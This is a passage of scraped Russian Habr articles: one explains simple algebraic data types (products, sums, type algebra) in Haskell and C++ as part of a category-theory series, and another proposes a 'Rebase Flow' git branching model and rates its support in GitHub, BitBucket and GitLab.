**Update:** Оказывается, такая функциональность уже реализована в стандартном наборе гита и называется [git-diff](https://git-scm.com/docs/git-diff) | https://habr.com/ru/post/520486/ | null | ru | null |
# Простые алгебраические типы данных
*Это шестая статья из цикла «Теория категорий для программистов». Предыдущие статьи уже публиковались на Хабре:*
[0. Теория категорий для программистов: предисловие](http://habrahabr.ru/post/245797/)
[1. Категория: суть композиции](http://habrahabr.ru/post/246009/)
[2. Типы и функции](http://habrahabr.ru/post/247765/)
[3. Категории, большие и малые](http://habrahabr.ru/post/248257/)
[4. Категории Клейсли](http://habrahabr.ru/post/249113/)
[5. Произведения и копроизведения](http://habrahabr.ru/post/271927/)
В предыдущей статье были рассмотрены базовые операции над типами: произведение и копроизведение. Теперь покажем, что комбинирование этих механизмов позволяет построить многие из повседневных структур данных. Такое построение имеет существенное прикладное значение. Например, если мы умеем проверять на равенство базовые типы данных, а также знаем, как свести равенство произведения и копроизведения к равенстве компонент, то операторы равенства для составных типов можно вывести автоматически. В Haskell для обширного подмножества составных типов автоматически выводятся операторы равенства и сравнения, конвертация в строку и обратно и многие другие операции.
Рассмотрим подробнее место произведения и копроизведения типов в программировании.
Произведение типов
------------------
Каноническая реализация произведения типов в языках программирования — это пара. В Haskell пара является примитивным конструктором типов, а в C++ это относительно сложный шаблон из стандартной библиотеки.
Строго говоря, произведение типов не коммутативно: нельзя подставить пару типа `(Int, Bool)` вместо `(Bool, Int)`, хотя они и содержат одни и те же данные. Однако произведение коммутативно с точностью до изоморфизма, задаваемого функцией `swap`, которая обратна самой себе:
```
swap :: (a, b) -> (b, a)
swap (x, y) = (y, x)
```
Можно рассматривать такие пары как различные форматы хранения одной и той же информации, как big endian и little endian.
Вкладывая одни пары в другие, можно скомбинировать в произведение сколько угодно типов. То же самое можно получить проще, если заметить, что вложенные пары эквивалентны кортежам. Это следствие того, что различные порядки вложения пар изоморфны между собой. Есть два возможных порядка комбинирования в произведение трех типов `a`, `b` и `c` (в заданной последовательности). А именно,
```
((a, b), c)
```
или
```
(a, (b, c))
```
Эти типы различны в том смысле, что функции, ожидающей аргумент первого типа, нельзя передать аргумент второго, однако значения типов находятся во взаимно-однозначном соответствии. Вот функция, которая задает это отображение в одну сторону:
```
alpha :: ((a, b), c) -> (a, (b, c))
alpha ((x, y), z) = (x, (y, z))
```
А вот обратная к ней:
```
alpha_inv :: (a, (b, c)) -> ((a, b), c)
alpha_inv (x, (y, z)) = ((x, y), z)
```
Итак, имеет место изоморфизм типов; это просто разные способы переупаковки одних и тех же данных.
Рассматривая произведение типов как бинарную операцию, мы видим, что изоморфизм выше очень похож на ассоциативный закон в моноидах:
```
(a * b) * c = a * (b * c)
```
Единственная разница в том, что в моноиде оба произведения абсолютно совпадают, а для типов — равны с точностью до изоморфизма.
Если счесть это различие несущественным, то можно продлить аналогию с моноидами далее и показать, что синглтон `()` является нейтральным элементом относительно умножения типов, так же как 1 нейтральна относительно умножения чисел. Действительно, присоединение `()` к элементу типа `a` не добавляет никакой информации. Тип
```
(a, ())
```
изоморфен `a`, где изоморфизм задается функциями
```
rho :: (a, ()) -> a
rho (x, ()) = x
```
```
rho_inv :: a -> (a, ())
rho_inv x = (x, ())
```
Наши наблюдения можно формализовать в виде утверждения, что категория множеств **Set** является *моноидальной*, т. е. категорией, которая является еще и моноидом относительно умножения объектов (в данном случае — относительно декартова произведения). Ниже будет дано строгое определение.
В Haskell доступен более общий способ задания произведений, особенно удобный, как мы вскоре убедимся, когда они сочетаются с суммами типов. Воспользуемся именованными конструкторами с несколькими аргументами. Например, альтернативное определение пары выглядит так:
```
data Pair a b = P a b
```
Здесь `Pair a b` — это имя конструктора типов, параметризованное двумя другими типами `a` и `b`, а `P` — имя конструктора данных. Мы определяем конкретный тип, передавая в конструктор типов `Pair` два типа, и создаем пару этого типа, передавая соответствующе типизированные значения в конструктор `P`. Например, определим переменную `stmt` как пару из `String` и `Bool`:
```
stmt :: Pair String Bool
stmt = P "This statement is" False
```
Первая строка — это декларация типа. Она состоит из конструктора типов `Pair` с `String` и `Bool` вместо `a` и `b`. Вторая строка определяет значение переменной, полученное применением конструктора данных `P` к конкретным строке и логическому значению. Еще раз: конструкторы типов используются для конструирования типов, конструкторы данных — для конструирования значений.
Поскольку пространства имен типов и данных в Haskell не пересекаются, то часто одно и то же имя используется для обоих конструкторов. Например,
```
data Pair a b = Pair a b
```
Если посмотреть на встроенный тип пары с ленинским прищуром, то она признается, что на самом деле является вариацией на тему последней декларации, только конструктор `Pair` заменен на бинарный оператор `(,)`. Можно использовать `(,)` так же, как и любой другой именованный конструктор, в префиксной нотации:
```
stmt = (,) "This statement is" False
```
Аналогично `(,,)` конструирует тройки и т. д.
Вместо использования обобщенных пар или кортежей, можно ввести отдельное имя для произведения конкретных типов. Например,
```
data Stmt = Stmt String Bool
```
представляет собой произведение `String` и `Bool`, но обладает собственным именем и конструктором. Преимущество такого определения в том, что можно завести много типов с одним и тем же содержимым, но различной семантикой и функциональностью, которые система типов не позволит смешивать между собой.
Программирование на кортежах и многоаргументных конструкторах часто ведет к неразберихе и ошибкам, потому что надо все время отслеживать, какой компонент за что отвечает. Было бы лучше иметь возможность давать компонентам имена собственные. Произведение типов с именованными полями называется записью в Haskell и `struct` в C.
Записи
------
Рассмотрим простой пример. Будем описывать химические элементы единой структурой, состоящей из двух строк (латинского названия и символа) и целого числа, соответствующего атомной массе. Для этого можно воспользоваться кортежем `(String, String, Int)` и все время держать в голове, какой компонент за что отвечает. Для извлечения компонент из кортежа будем применять сопоставление с образцом. Следующая функция проверяет, является ли символ химического элемента префиксом его латинского названия (например, **He** — префикс **Helium**):
```
startsWithSymbol :: (String, String, Int) -> Bool
startsWithSymbol (name, symbol, _) = isPrefixOf symbol name
```
В таком коде легко ошибиться, его трудно читать и поддерживать. Гораздо лучше определить вместо кортежа запись:
```
data Element = Element { name :: String
, symbol :: String
, atomicNumber :: Int }
```
Эти представления изоморфны, в чем можно убедиться при помощи следующих взаимнообратных преобразований:
```
tupleToElem :: (String, String, Int) -> Element
tupleToElem (n, s, a) = Element { name = n
, symbol = s
, atomicNumber = a }
```
```
elemToTuple :: Element -> (String, String, Int)
elemToTuple e = (name e, symbol e, atomicNumber e)
```
Заметим, что имена полей записи одновременно являются и функциями-аксессорами. Например, `atomicNumber e` возвращает поле `atomicNumber` записи `e`. Таким образом функция `atomicNumber` имеет тип:
```
atomicNumber :: Element -> Int
```
С использованием записей типа `Element` функция `startsWithSymbol` становится более читаемой:
```
startsWithSymbol :: Element -> Bool
startsWithSymbol e = isPrefixOf (symbol e) (name e)
```
В Haskell можно провернуть трюк, превращающий функцию `isPrefixOf` в инфиксный оператор, обрамив ее обратными апострофами. Это делает код более читаемым:
```
startsWithSymbol e = symbol e `isPrefixOf` name e
```
Мы смогли опустить скобки за счет того, что приоритет инфиксного оператора ниже приоритета вызова функции.
Сумма типов
-----------
Аналогично тому, как произведение в категории множеств индуцирует произведения типов, копроизведение порождает суммы типов. Каноническая реализация суммы типов в Haskell такова:
```
data Either a b = Left a | Right b
```
Как и пары, `Either`-ы коммутативны (с точностью до изоморфизма), могут быть вложенными, причем порядок вложения не важен (с точностью до изоморфизма). Например, сумма трех типов выглядит так:
```
data OneOfThree a b c = Sinistral a | Medial b | Dextral c
```
Оказывается, что **Set** образует (симметричную) моноидальную категорию относительно операции копроизведения. Место бинарной операции занимает дизъюнктная сумма, а нейтральным элементом является инициальный объект. В терминах типов `Either` — моноидальная операция, а ненаселенный тип `Void` — нейтральный элемент ее. Считайте, что `Either` — это сложение, а `Void` — это нуль. Действительно, добавление `Void` к сумме типов не изменяет множество значений типа. Например,
```
Either a Void
```
изоморфно `a`. Действительно, поскольку тип `Void` не населен, то нет никакого способа построить `Right`-значение. Значит, единственными обитателями `Either a Void` являются `Left`-значения, которые являются просто оберткой над значением типа `a`. Символически это может быть записано как `a + 0 = a`.
Суммы типов очень часто встречаются в Haskell. В C++ их аналоги (объединения или варианты) используются существенно реже по ряду причин.
Во-первых, простейшие суммы типов — это перечисления, которые реализованы в C++ при помощи `enum`. Эквивалентом
```
data Color = Red | Green | Blue
```
в C++ будет
```
enum { Red, Green, Blue };
```
Еще более простая сумма типов
```
data Bool = True | False
```
в C++ является примитивным типом `bool`.
Далее, суммы типов, кодирующие наличие или отсутствие значения, реализуются в C++ при помощи различных трюков с "невозможными" значениями, такими как пустые строки, отрицательные числа, нулевые указатели и т. д. В Haskell явная, намеренная опциональность значения записывается при помощи `Maybe`:
```
data Maybe a = Nothing | Just a
```
Тип `Maybe` является суммой двух типов. Мысленно превратим его конструкторы в отдельные типы. Первый примет вид:
```
data NothingType = Nothing
```
Это перечисление с единственным значением `Nothing`. Другими словами, это синглтон, эквивалентный типу `()`. Вторая часть
```
data JustType a = Just a
```
представляет собой обертку над типом `a`. Мы могли бы записать `Maybe` как
```
data Maybe a = Either () a
```
Более сложные суммы типов фабрикуются в C++ при помощи указателей. Указатель может быть либо нулевым, либо указывать на значение определенного типа. Например, в Haskell список определен как (рекурсивная) сумма типов:
```
List a = Nil | Cons a (List a)
```
В C++ этот же тип записывается так:
```
template
class List {
Node\* \_head;
public:
List() : \_head(nullptr) {} // Nil
List(A a, Listl) // Cons
: \_head(new Node(a, l))
{}
};
```
Нулевой указатель здесь кодирует пустой список.
Заметим, что конструкторы `Nil` and `Cons` из Haskell превратились в два перегруженных конструктора класса `List` с аналогичными аргументами: без аргументов в случае `Nil`, значение и список для `Cons`. Класс `List` не нуждается в метке, которая бы отличала компоненты суммы типов; вместо этого он использует специальное значение `nullptr` для `_head`, чтобы представить `Nil`.
Важное различие между типами в Haskell и в C++ состоит в том, что в Haskell структуры данных иммутабельны. Если объект был создан при помощи определенного конструктора, то он навсегда запомнит, какой конструктор и с какими аргументами использовался. Так экземпляр класса `Maybe`, созданный как `Just "energy"`, никогда не обернется `Nothing`. Аналогично пустой список навсегда останется пустым, а трехэлементный список всегда будет хранить одни и те же три элемента.
Иммутабельность делает конструкторы обратимыми: объект всегда можно разобрать на составные части, использованные при его создании. Такая деконструкция выполняется путем сопоставления с образцом, в качестве которого выступает тот или иной конструктор. Аргументы конструктора замещаются именами переменных (или другими образцами).
У типа `List` два конструктора, так что деконструкция произвольного `List` состоит из двух соответствующих сопоставлений с образцом. Первый образец совпадает с пустым списком `Nil`, второй — со списком, созданным при помощи `Cons`. Для примера определим простую функцию:
```
maybeTail :: List a -> Maybe (List a)
maybeTail Nil = Nothing
maybeTail (Cons _ t) = Just t
```
Первая часть определения `maybeTail` использует конструктор `Nil` как образец для сопоставления и возвращает `Nothing`. Вторая часть использует в качестве образца конструктор `Cons`. Первый аргумент образца представлен прочерком, поскольку нас не интересует содержащееся в нем значение. Второй аргумент `Cons` связывается с переменной `t` (здесь и далее мы будем говорить о переменных, хотя, строго говоря, они неизменны: единожды связанная со значением переменная никогда не меняется). Значение функции на этом образце равно `Just t`. Итак, в зависимости от способа создания значения типа `List`, оно совпадет с одним из образцов. Если оно было создано при помощи `Cons`, то функция получит оба использованных при этом аргумента (первый из которых будет проигнорирован).
Более сложные суммы типов реализуются в C++ иерархией полиморфных классов. Семейство классов с общим прародителем можно трактовать как сумму типов, в которой неявной меткой компоненты служит таблица виртуальных функций. То, чему в Haskell служит сопоставлением с образцом, реализуется в C++ вызовом функции диспетчеризации.
Читатель редко встретится в C++ с использованием `union` в качестве суммы типов из-за его чрезмерной ограниченности. В `union` нельзя поместить даже `std::string`, потому что у этого класса есть конструктор копирования.
Алгебра типов
-------------
По отдельности произведения и суммы типов позволяют определить множество полезных структур данных, но настоящая мощь проистекает из их комбинации.
Подведем итоги вышеизложенного. Мы рассмотрели две коммутативные моноидальные структуры, лежащие в основе системы типов. Это сумма типов с нейтральным элементом `Void` и произведение типов с нейтральным элементом `()`. Их удобно представлять себе как сложение и умножение. В таком случае `Void` соответствует нулю, а `()` — единице.
Посмотрим, как далеко простирается эта аналогия. Например, верно ли, что умножение на ноль дает ноль? Другими словами, изоморфно ли любое произведение на `Void` типу `Void`?
Существуют ли пары, состоящие из, скажем, `Int` и `Void`? Для создания пары нужны оба значения. Значение типа `Int` — это не проблема, а вот с `Void` есть загвоздка: этот тип не населен (не существует ни одного значения этого типа). Таким образом, для любого типа `a` тип `(a, Void)` также не населен и, следовательно, эквивалентен `Void`. Другими словами, `a*0 = 0`.
Сложение и умножение чисел связаны дистрибутивным законом:
```
a * (b + c) = a * b + a * c
```
Выполняется ли он для суммы и произведения типов? Да, с точностью до изоморфизма. Левая часть тождества соответствует типу
```
(a, Either b c)
```
а правая —
```
Either (a, b) (a, c)
```
Предъявим функции, которые преобразуют типы туда и обратно:
```
prodToSum :: (a, Either b c) -> Either (a, b) (a, c)
prodToSum (x, e) =
case e of
Left y -> Left (x, y)
Right z -> Right (x, z)
```
```
sumToProd :: Either (a, b) (a, c) -> (a, Either b c)
sumToProd e =
case e of
Left (x, y) -> (x, Left y)
Right (x, z) -> (x, Right z)
```
Конструкция `case of` используется для сопоставления с образцом внутри функции. Стрелка разделяет образец и соответствующее ему выражение. Например, при вызове `prodToSum` с аргументом
```
prod1 :: (Int, Either String Float)
prod1 = (2, Left "Hi!")
```
переменная `e` в `case e of` будет равна `Left "Hi!"`. Она совпадет с образцом `Left y`, подставляя `"Hi!"` вместо `y`. Поскольку переменная `x` ранее уже была связана с `2`, результатом конструкции `case of` (и всей функции) будет, как и ожидалось, `Left (2, "Hi!")`.
Доказательство того, что функции выше взаимнообратны, оставим читателю в качестве упражнения. Они лишь перепаковывают одни и те же данные из одного формата в другой.
Два моноида, связанные дистрибутивным законом, в математике называются *полукольцом*. Это не полное *кольцо*, поскольку мы не в силах определить вычитание типов. Множество утверждений, верных для образующих полукольцо натуральных чисел, можно перенести на типы. Вот несколько примеров:
| | |
| --- | --- |
| **Числа** | **Типы** |
| 0 | `Void` |
| 1 | `()` |
| a + b | `Either a b = Left a | Right b` |
| a \* b | `(a, b)` или `Pair a b = Pair a b` |
| 2 = 1 + 1 | `data Bool = True | False` |
| 1 + a | `data Maybe = Nothing | Just a` |
Тип списка представляет особый интерес, поскольку он определен как решение уравнения. Определяемый тип встречается в обеих сторонах равенства:
```
List a = Nil | Cons a (List a)
```
Произведя обычные подстановки и заменив `List a` на `x`, получим
```
x = 1 + a * x
```
Это уравнение нельзя решить традиционными алгебраическими методами, поскольку типы нельзя вычитать или делить. Попробуем рекурсивно подставлять вместо `x` справа выражение `(1 + a*x)` и раскрывать скобки по дистрибутивности. Получим
```
x = 1 + a*x
x = 1 + a*(1 + a*x) = 1 + a + a*a*x
x = 1 + a + a*a*(1 + a*x) = 1 + a + a*a + a*a*a*x
...
x = 1 + a + a*a + a*a*a + a*a*a*a...
```
В конце концов мы придем к бесконечной сумме произведений (кортежей), которую можно трактовать так: список либо пуст, `1`; либо состоит из одного элемента, `a`; либо состоит из пары, `a*a`; либо из тройки, `a*a*a`, и т. д. Полученное формально определение полностью отвечает интуитивному представлению о списке как о строке, где вместо букв — значения типа `a`.
Мы вернемся к спискам и другим рекурсивным структурам далее, после изучения функторов и неподвижных точек.
Решение уравнений с символьными переменными — это алгебра! Поэтому такие типы данных и называются алгебраическими (АТД).
Подводя итоги, дадим одну очень важную интерпретацию алгебры типов. Заметим, что произведение типов `a` и `b` должно содержать и значение типа `a`, *и* значение типа `b`, что влечет населенность обоих типов. С другой стороны, сумма типов содержит либо значение типа `a`, *либо* значение типа `b`, так что достаточно, чтобы хотя бы один из них был населен. Логические операции *конъюнкции* и *дизъюнкции* образует полукольцо, находящееся в следующем соответствии с алгеброй типов:
| | |
| --- | --- |
| **Логика** | **Типы** |
| false | `Void` |
| true | `()` |
| a || b | `Either a b = Left a | Right b` |
| a && b | `(a, b)` |
Эта аналогия может быть углублена и является основой изоморфизма Карри-Говарда между логикой и теорией типов. Мы вернемся к этому вопросу при рассмотрении функциональных типов.
Упражнения
----------
1. Покажите, что `Maybe a` и `Either () a` изоморфны.
2. Рассмотрим следующую сумму типов в Haskell:
```
data Shape = Circle Float
| Rect Float Float
```
Чтобы определить на типе `Shape` функцию `area`, воспользуемся сопоставлением с образцом:
```
area :: Shape -> Float
area (Circle r) = pi * r * r
area (Rect d h) = d * h
```
Реализуйте `Shape` на C++ или Java как интерфейс и создайте два класса: `Circle` и `Rect`. Затем запишите `area` как виртуальную функцию.
3. (Продолжение) Несложно добавить новую функцию `circ`, которая вычисляет периметр `Shape`. В Haskell определение типа `Shape` останется неизменным; следующий код можно добавить в любое место программы:
```
circ :: Shape -> Float
circ (Circle r) = 2.0 * pi * r
circ (Rect d h) = 2.0 * (d + h)
```
Добавьте `circ` в вашу программу на C++ или Java. Какие части оригинальной программы пришлось модифицировать?
4. (Продолжение) Добавьте в тип `Shape` новую фигуру `Square` и внесите соответствующие обновления в остальной код. Что пришлось поменять в Haskell? А что в C++ или Java? (Даже если вы не знаете Haskell, изменения должны быть довольно очевидны.)
5. Покажите, что формальное тождество `a + a = 2 * a` выполняется для типов (с точностью до изоморфизма). Напоминаем, `2` на языке типов соответствует `Bool` (см. таблицу выше).
Благодарности
-------------
Автор благодарен Гершому Базерману за рецензирование поста и полезные комментарии. | https://habr.com/ru/post/274103/ | null | ru | null |
# Rebase Flow. Способ приготовления и его поддержка в GitHub, GitLab, BitBucket
Немного истории
===============
В самом начале 2010 года [Vincent Driessen](http://nvie.com/about/) пишет отличную статью [A successful Git branching model](http://nvie.com/posts/a-successful-git-branching-model/). Для понимания того, о чем пойдет речь дальше, со статьей нужно, конечно же, познакомиться. А для тех, кому сложен язык оригинальной статьи, на хабре есть её отличный [перевод](https://habrahabr.ru/post/106912/).
С этого момента описанная модель ветвления ***GitFlow***, начинает, что называется, расходиться по миру. Её берут на вооружение многие команды. Авторы пишут много статей об успешном её использовании. Она получает поддержку в большинстве инструментов, которые используют разработчики:
* [Плагин](https://github.com/nvie/gitflow) к самому Git'у
* Плагины к различным IDE: [IDEA](https://plugins.jetbrains.com/plugin/7315), [Eclipse](http://eclipsesource.com/blogs/2015/06/22/git-flow-top-eclipse-mars-feature-3/)
* Встроенная поддержка в GUI клиентах: [SourceTree](https://www.sourcetreeapp.com/) и [Git Extensions](https://gitextensions.github.io/)
* Плагины для систем сборки: [Maven](https://bitbucket.org/atlassian/jgit-flow/wiki/Home), [Gradle](https://github.com/RobWin/jgitflow-gradle-plugin), и т.д.
* Встроенная поддержка в менеджерах репозиториев: [GitHub](https://github.com/), [BitBucket](https://bitbucket.org/), [GitLab](https://about.gitlab.com/) и т.д.
Кажется, что модель идеальна. Быть может так оно и есть, если у вас небольшая команда, неизменяемый скоуп релизов, высокая культура работы с [VCS](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%8F%D0%BC%D0%B8). Тогда, действительно, *GitFlow* может и удовлетворит все ваши потребности. Но, к сожалению, описанные условия подходят не всем командам и не всем проектам. К слову, найти статьи, в которых бы авторы описывали проблемы этой модели не так уж и просто даже в 2016 году. Но как мы все знаем, [серебряной пули нет](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%80%D0%B5%D0%B1%D1%80%D1%8F%D0%BD%D0%BE%D0%B9_%D0%BF%D1%83%D0%BB%D0%B8_%D0%BD%D0%B5%D1%82), а, значит, и в этой модели всё хорошо далеко не для всех.
Что не так с классическим *GitFlow*?
====================================
История начинается с того, что классический *GitFlow* предполагает большое число *merge*-коммитов. Причем проблема не в самих *merge*-коммитах (которые, как вы дальше увидите, всё равно будут присутствовать в истории), а в их огромном количестве. Дебаты на тему «[Merge](https://git-scm.com/docs/git-merge) vs [Rebase](https://git-scm.com/docs/git-rebase)» часто встречаются на просторах интернета (поисковики подскажут). У Atlassian, кстати, есть хорошая [статья](https://www.atlassian.com/git/tutorials/merging-vs-rebasing), в которой описывается разница этих двух подходов. Так в чем же дело?
1. История коммитов становится просто ужасной. На фото ниже всего **один** день работы команды.
Да, у нас есть `git log --first-parent` и другие возможности отфильтровать дерево, но это несильно помогает полноценному анализу истории. Если же у команды разработчиков, кроме классического *GitFlow*, нет никаких других соглашений по ведению *Git*-репозитория, то в этой истории можно будет целыми пачками наблюдать коммиты c абсолютно бессмысленными сообщениями "*fix*", "*refactoring*", *""*, и т.д. Это сделает историю коммитов практически непригодной даже для самого поверхностного анализа.
2. Если ваш релизный скоуп меняется (а в [Agile](https://ru.wikipedia.org/wiki/%D0%93%D0%B8%D0%B1%D0%BA%D0%B0%D1%8F_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8) это бывает не редко), то классический *GitFlow* вам вряд ли подойдет. Если в вашем рабочем процессе **часто** встречаются фразы, попадающие под шаблон "*Заказчику срочно нужна сборка, в которой [\w]\**", то с историей коммитов, наглядно представленной в предыдущем пункте, ваша жизнь превратится в сущий ад. Я не шучу.
3. Из-за *merge*-коммитов усложняется использование [`git bisect`](https://git-scm.com/docs/git-bisect)
А что хотелось бы?
==================
Очень сложно объяснить, почему так важно, чтобы история коммитов была чистой. Опытным разработчикам не требуется объяснения, почему чистым должен быть исходный код, для них это утверждение — аксиома. На мой взгляд аналогия тут абсолютно прямая. Также как и каждая строчка чистого кода, каждый коммит истории должен быть на своем месте и понятен любому, даже стороннему, разработчику. Да, грязный код тоже может быть рабочим, но на сколько удобно с ним работать? Как быстро удастся в нем разобраться новому сотруднику? То же самое и с историей коммитов. Даже грязная история будет знать абсолютно всё обо всех изменениях в проекте, но удобно ли будет с ней работать?
Для того чтобы работа с *Git*-репозиторием была простой, удобной и понятной, на мой взгляд необходимы всего две вещи:
* **Линейность истории изменений**. Это свойство ограничивает толщину дерева коммитов константой, делая его максимально простым и наглядным для анализа.
* **Логическая завершенность каждого коммита**. Это свойство сильно увеличивает гибкость истории изменений. В этом случае, если потребуется, отдельные доработки могут быть без лишних сложностей перенесены с помощью команды [`git cherry-pick`](https://git-scm.com/docs/git-cherry-pick). Или полностью отменены с помощью команды [`git revert`](https://git-scm.com/docs/git-revert), которая в случае простого коммита гораздо проще, чем в случае *merge*-коммита.
Если оба свойства выполняются, дерево коммитов будет выглядеть следующим образом:
Как этого достигнуть?
=====================
Нужно совсем не много подредактировать классический *GitFlow*. При этом работа с *develop*, *master*, *release* и *hotfix* бранчами остаётся ровно такой же, как и в классическом *GitFlow*. Правки же коснутся исключительно работы с *feature*-бранчами.
1. Перед вливанием *feature*-бранча в итоговый, ему необходимо сделать интерактивный [*rebase*](https://git-scm.com/docs/git-rebase) командой `git rebase -i develop`, при этом все промежуточные коммиты в бранче слить ([*squash*](https://git-scm.com/book/ru/v1/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-Git-%D0%9F%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C-%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%B8%D0%B8#Уплотнение-коммитов)'ить) в один. Бывают случаи, когда историю коммитов в *feature*-бранче имеет смысл оставить, но эти случаи на практике очень редки. При хорошей декомпозиции задач каждая небольшая задача представляет собой атомарное и логически завершенное изменение системы, которое отлично укладывается в одном коммите. Учитывая, что все изменения в рамках задачи можно соединить в один коммит в самый последний момент, во время работы над задачей разработчик может по-прежнему беспрепятственно создавать множество промежуточных коммитов, необходимых ему для потенциального отката. Ну и не лишним будет добавить, что есть отличная команда [*rerere*](https://git-scm.com/docs/git-rerere), помогающая разработчикам, часто выполняющим операцию *rebase*.
2. Заливать *feature*-бранч в удалённый репозиторий необходимо с помощью команды `git push --force`, так как в предыдущем пункте мы произвели *rebase*-бранча.
3. Вливать *feature*-бранч в итоговый необходимо командой `git merge --ff-only feature`, так как только в этом случае удастся сохранить линейность истории коммитов и избежать появления *merge*-коммита.
Как видите, изменений по работе с репозиторием совсем не много. И, подводя некий итог этой части статьи, хочу поделиться [ссылкой](https://www.atlassian.com/git/articles/git-team-workflows-merge-or-rebase/) на отличную статью, где также рассматриваются плюсы и минусы классического *GitFlow* и *Rebase Flow*.
Поддержка Rebase Flow в менеджерах репозиториев
===============================================
Как я уже упоминал в самом начале статьи, поддержка классического *GitFlow* есть во множестве инструментов, в том числе и в различных менеджерах репозиториев. Поэтому дальше я рассмотрю вопрос о том, как сейчас обстоят дела с поддержкой *Rebase Flow* в популярных менеджерах репозиториев. При этом моя оценка будет в формате обычной университетской отметки.
[GitHub](https://github.com)
----------------------------
Поддержка *Rebase Flow*: **ХОРОШО**
На самом деле, у GitHub есть практически всё что нужно. В настройках репозитория есть галочка «Allow squash merging».
Она позволяет при мерже *pull request*'а выбрать соответствующий пункт и отредактировать итоговое сообщение к коммиту
В результате *pull request* будет смержен линейно и все коммиты будут схлопнуты в один.
Единственный минус, который я вижу на стороне GitHub, это
1. отсутствие возможности смержить *pull request* без слияния коммитов. Очень редко, но это всё-таки требуется и, в случае с GitHub, этот мерж придётся выполнить вручную.
Всё вышесказанное относится и к [GitHub Enterprise](https://enterprise.github.com/home), который может быть развернут на серверах вашей компании.
[BitBucket](https://bitbucket.org/)
-----------------------------------
Поддержка *Rebase Flow*: **НЕУДОВЛЕТВОРИТЕЛЬНО**
А по факту её просто нет. Если вы хотите использовать в своей работе *Rebase Flow*, то BitBucket в этом вам никак не поможет, всё придётся делать самостоятельно.
И это удивительно, учитывая что по тексту этой статьи я не раз ссылался на отличные статьи с сайта Atlassian. Будем надеяться, что в будущем ситуация с поддержкой *Rebase Flow* изменится, тем более что задачи на это уже давно заведены
* [Forced non fast forward merge of pull request?](https://bitbucket.org/site/master/issues/6106/forced-non-fast-forward-merge-of-pull)
* [Provide the option to use "git merge --squash" for pull requests](https://bitbucket.org/site/master/issues/8995/provide-the-option-to-use-git-merge-squash)
* [Force fast-forward only merges on pull requests for specific branches](https://bitbucket.org/site/master/issues/9589/force-fast-forward-only-merges-on-pull)
* [Detect and handle rebasing and auto-merge in more situations](https://bitbucket.org/site/master/issues/6768/detect-and-handle-rebasing-and-auto-merge)
* и т.д.
Давайте теперь посмотрим, что с поддержкой *Rebase Flow* у платного продукта от Atlassian.
[Atlassian BitBucket Server](https://ru.atlassian.com/software/bitbucket/download) (a.k.a. Atlassian Stash)
-----------------------------------------------------------------------------------------------------------
Поддержка *Rebase Flow*: **УДОВЛЕТВОРИТЕЛЬНО**
Я рассматриваю BitBucket v4.5.2 и, возможно, в будущих версиях ситуация изменится в лучшую сторону. Сейчас же с поддержкой в BitBucket Server несколько лучше, чем в его облачном брате. Если у вас есть доступ к администраторам, то вы можете их любезно попросить в файле `bitbucket.properties` поменять для вашего проекта/репозитория настройки мержа *pull request*'ов ([документация](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-config-properties-776640155.html#BitbucketServerconfigproperties-Pullrequests))
* `plugin.bitbucket-git.pullrequest.merge.strategy.KEY.slug` — настройка для конкретного репозитория `slug` в проекте `KEY`.
* `plugin.bitbucket-git.pullrequest.merge.strategy.KEY` — настройка для конкретного проекта `KEY`.
* `plugin.bitbucket-git.pullrequest.merge.strategy` — глобальное настройка для всего BitBucket Server.
Значения настроек могут быть следующими
* `no-ff` — никакого *fast-forward*. Это значение по умолчанию.
* `ff` –- при возможности, будет выполнен *fast-forward* мерж.
* `ff-only` — всегда *fast-forward* мерж. Вы просто не сможете смержить *pull request*, если это нельзя сделать линейно.
* `squash` — сливает все коммиты в один и не создает *merge*-коммита.
* `squash-ff-only` — сливает все коммиты в один и не создает *merge*-коммита, но делает это только в том случае, если возможен *fast-forward* мерж.
Как вы видите, настройки достаточно гибкие, но есть две проблемы
1. Нет web-интерфейса настроек, а обращения к администраторам сильно усложняют рабочий процесс.
2. Нельзя выбрать поведение для конкретного *pull request*'а, минимальной настраиваемой сущностью является репозиторий.
Как только эти две проблемы будут устранены, поддержку *Rebase Flow* у BitBucket можно будет оценить на отлично. А пока ...
[GitLab](https://gitlab.com/)
-----------------------------
Поддержка *Rebase Flow*: **ХОРОШО**
Оценивая поддержку на <https://gitlab.com>, мы, по сути, оцениваем поддержку в продукте [GitLab EE](https://about.gitlab.com/pricing/), на базе которого он реализован. Что же касается поддержки *Rebase Flow* в [GitLab CE](https://about.gitlab.com/downloads/), то её там попросту нет.
Для понимания того, как именно организована поддержка *Rebase Flow*, взглянем на настройки проекта
Как вы видите, тут даже есть промежуточный вариант полулинейной истории, когда *merge*-коммиты остаются, но возможность принять *pull request* появляется только в том случае, если *feature*-бранч является линейным продолжением. Если выбран этот вариант с полулинейной историей или «Fast-forward merge», у нас появляется дополнительная возможность управления *pull request*'ом. А именно появляется кнопка «Rebase onto ...», позволяющая сделать из *feature*-бранча линейное продолжение истории.
После чего можно без проблем принять *pull request*, который будет смержен без создания отдельного *merge*-коммита.
Более подробное описание этой функциональности можно посмотреть в документации ([раз](http://doc.gitlab.com/ee/workflow/rebase_before_merge.html), [два](http://doc.gitlab.com/ee/workflow/ff_merge.html)). Несмотря на то, что скриншоты в ней немного устарели, она не потеряла своей актуальности. На этом в принципе поддержка *Rebase Flow* заканчивается. То что она вообще есть — это, конечно, плюс, но в ней явно не хватает
1. Возможности выбрать поведение для конкретного *pull request*'а. Да, перед принятием *pull request*'а можно поменять настройки самого проекта, но это не очень удобно.
2. Возможности автоматического слияния коммитов *feature*-бранча в один.
Что в итоге?
------------
